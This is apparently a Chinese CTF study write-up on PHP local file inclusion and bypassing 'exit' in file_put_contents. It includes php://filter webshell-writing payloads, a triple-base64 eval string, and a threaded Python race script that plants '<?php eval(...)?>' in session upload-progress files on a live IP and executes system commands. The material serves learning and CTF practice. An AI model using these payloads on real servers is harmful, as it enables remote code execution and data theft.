随便看了师傅发的一到题!
<?php show_source(__FILE__); chdir("sandbox"); $filename = $_REQUEST['file']; $data = '<?php exit();?> ' . $filename; echo $data; file_put_contents($filename,$data);
|
关于One-line-php-challenge的思考
p神大佬、!!!!!tql
谈一谈php://filter的妙用
phpinfo with LFI
hitcon2018 One Line PHP Challenge
PHP临时文件机制与利用的思考
N1CTF Easy&&Hard Php Writeup
就这到题来说!:
感觉很不错!!!
学到了!
看懂了看懂了!!
这几天也没干啥!咋感觉折磨忙呢!!!
先来看看这道题:
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);
|
18年的题!!
很有意思!
可以看到需要一个文件 内容以@<?php开头的文件,然后就可以进行文件包含。
环境以及配置都是默认的Ubuntu18.04+Apache2+PHP7.2
大佬这篇文章很好
file() 函数把整个文件读入一个数组中。
数组中的每个元素都是文件中相应的一行,包括换行符在内。
数组的元素就是每一行的数据!!!


前面也说了:
可以看到需要一个文件 内容以@<?php开头的文件,然后就可以进行文件包含。
这可咋办呢!!又不能上传文件!!、
php里默认可以由用户控制的文件就只有几个
临时上传文件由/tmp/php[a-zA-z0-9]{6}
形式组成,在有phpinfo页面的时候可以进行文件包含
本地文件包含,英文Local File Include,简称LFI。
phpinfo with LFI
这里显然没有这个phpinfo页面,暴力破解的可能性约等于零。
LFI with PHPInfo本地测试过程
PHP LFI 利用临时文件 Getshell 姿势
phpinfo with LFI漏洞分析
当我们在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件。文件名可以在$_FILES
变量中找到。这个临时文件,在请求结束后就会被删除。
利用phpinfo的特性可以很好的帮助我们,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES
变量的内容,拿到临时文件变量名之后,就可以进行包含执行我们传入的恶意代码。

简单的说就是:
php里有没有文件上传的点!我们都可以自己构造上传点!然后利用phpinfo里面有临时文件的信息!找到临时文件的位置(包括它的临时文件名)!来getshell,!
|
其中PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:
1、请求到达;
2、创建临时文件,并写入上传文件的内容;
3、调用相应PHP脚本进行处理,如校验名称、大小等;
4、删除临时文件。
session文件
然后就是session文件,这里没有开启session,也没有可以控制的session字段。
所以session文件也是无法控制的!这是正常的认为!但是还是可以直接利用的!
正常上传有session的文件:


就是通过控制post输入来getshell!
怎么getshell!
再利用php://filter的妙用!base64解密的知识点!
本题总结
这个题我先总结下:
就是你 你访问一个文件!内容必须以@<?php开头!
这里面用到了好多P神的php:
知识点: 1,这里有个小trick就是,这个session文件并不一定要session_start才能生成,只要往服务器发送一个Cookie: PHPSESSID=xxx的值,然后用session upload的方式进行上传文件,就会生成这样一个session文件
2,session文件里 可以看到sess_kingkk (kingkk是PHPSESSID的值)中有不少值是可以通过改变传入的参数进行控制的,比如文件名、PHP_SESSION_UPLOAD_PROGRESS的值。从而只要插入对应的php代码,在存在文件包含的时候,就可以getshell 这个题重点是: PHP_SESSION_UPLOAD_PROGRESS的值!
PHP_SESSION_UPLOAD_PROGRESS配合php:
直接复制大佬的图:
|


大佬是直接3次base64解密,直接把 upload_progress_tcy|a:5:{s:10:"start_time";i:1610616657;s:14:"content_length";i:11099;s:15:"bytes_processed";i:5235;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:27:"49O$WZDJ(88(C)`I]EUX}5X.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1610616657;s:15:"bytes_processed";i:0;}}}
upload_progress_ZZ在三次的解码中,第一次解码后留下了四个允许字符hikY,第二次解码没有允许字符,第三次就变成了空。 tcy替换成 ZZ 加上@<?php echo `id`;?>xnkUmPCb的3次base64加密!
就是:ZZVVVSM0wyTkhhSGRKUjFacVlVYzRaMWxIYkd0WlJITXZVRzVvZFdFeFZuUlZSVTVw
再利用条件竞争!这边一边传!那边一边包含!
|
师傅们太猛了!!!!!!😋
再来看本道题:
<?php show_source(__FILE__); chdir("sandbox"); $filename = $_REQUEST['file']; $data = '<?php exit();?> ' . $filename; echo $data; file_put_contents($filename,$data);
|
考点Bypass file_put_contents Exit
探索php://filter在实战当中的奇技淫巧https://blog.csdn.net/qq_45521281/article/details/106434704
Bypass-不同变量
文章里有!
Bypass-相同变量
https://www.anquanke.com/post/id/202510#h3-18
太猛了!!
# 第一种 <?php exit;
# 第二种 <?php exit; ?>
|
具体为什么这样构造:
测试
<?php echo readfile('php://filter/read=string.strip_tags/resource=php://input'); ?>
|

string.strip_tags这个去掉标签!
把标签带内容也全去掉!
懂了!
因为:string.strip_tags这个东西只要是标签php的html的xml的全部去掉!
像<?php 像这样没有闭合的标签也全部去掉,
先看看第一种:
<?php $a = $_GET[a]; file_put_contents($a,'<?php exit();'.$a) ?>
|


# 第二种
第二种:
用到一些更复杂的知识!:
不能直接用第一种了:

这时候相当于:
去标签后 改base64解密的内容:
php://filter/write=string.strip_tags|convert.base64-decode/resource=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2b/../Qsssssftm.php123
|
这东西base64解密就不能成功解密出shell!
师傅们真猛!!!!崇拜
关于 ThinkPHP5.0 反序列化链的扩展
先知的一篇文章关于 ThinkPHP5.0 反序列化链的扩展中使用string.trip_tags|convert.base64
进行绕过``【重点是构造标签的闭合(闭合特殊字符)->恶意代码的编码->标签的剔除->恶意代码的解码】。
payload:
php://filter/write=string.strip_tags|convert.base64-decode/resource=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2b/../Qsssssftm.php123
php://filter/%3C|string.strip_tags|convert.base64-decode/resource=%3EPD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B/../Qftm.php
php://filter/<|string.strip_tags|convert.base64-decode/resource=>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+/../Qftm.php
|
分析下这个payload:


这也tql!!!!
注意:一般特殊字符要url编码!
payload2:
<?php $filename = "php://filter/string.strip_tags|convert.base64-decode|</resource=>aaPD9waHAgZXZhbCgkX0dFVFsxXSk7ICAgPz4/../a.php"; $value = "<?php exit(); ?>".$filename; file_put_contents($filename, $value); ?>
php://filter/string.strip_tags|convert.base64-decode|</resource=>aaPD9waHAgZXZhbCgkX0dFVFsxXSk7ICAgPz4/../a.php 这个也是可以的!
|


总结:
本来就是没事的时候看到群里师傅问的一道题!
当初看第一眼感觉不是hn! 我还是tcl
这到题让我学到了!
php://filter的妙用。如何逃离死亡(exit)写shell!
还有看orange师傅的这个题!:
让我学到了:
LFI的 利用伪协来寻找 我们可以控制的文件!
- 临时上传文件 利用phpinfo()文件LFI!
- session文件
session自动话脚本
https://www.aqniukt.com/article/253
*
是当前 目录 操了!
/*
是根目录upload_progress_CHTB{th4ts_4_w31rd_3xt0rt10n_@#$?}
upload_progress_值
import io import requests import threading sessid = 'TGAO' data = {"cmd":"system('cat *');"} poy = { 'http': '127.0.0.1:8081' } def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://138.68.168.137:32079', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} ) def read(session): while True: resp = session.post('http://138.68.168.137:32079/?f=../../../../../../../../../../../../../tmp/sess_'+sessid,data=data) print(resp.url) if 'tgao.txt' in resp.text: print(resp.text) event.clear() else: print("[+++++++++++++]retry") if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(target=write,args=(session,)).start()
for i in range(1,30): threading.Thread(target=read,args=(session,)).start() event.set()
|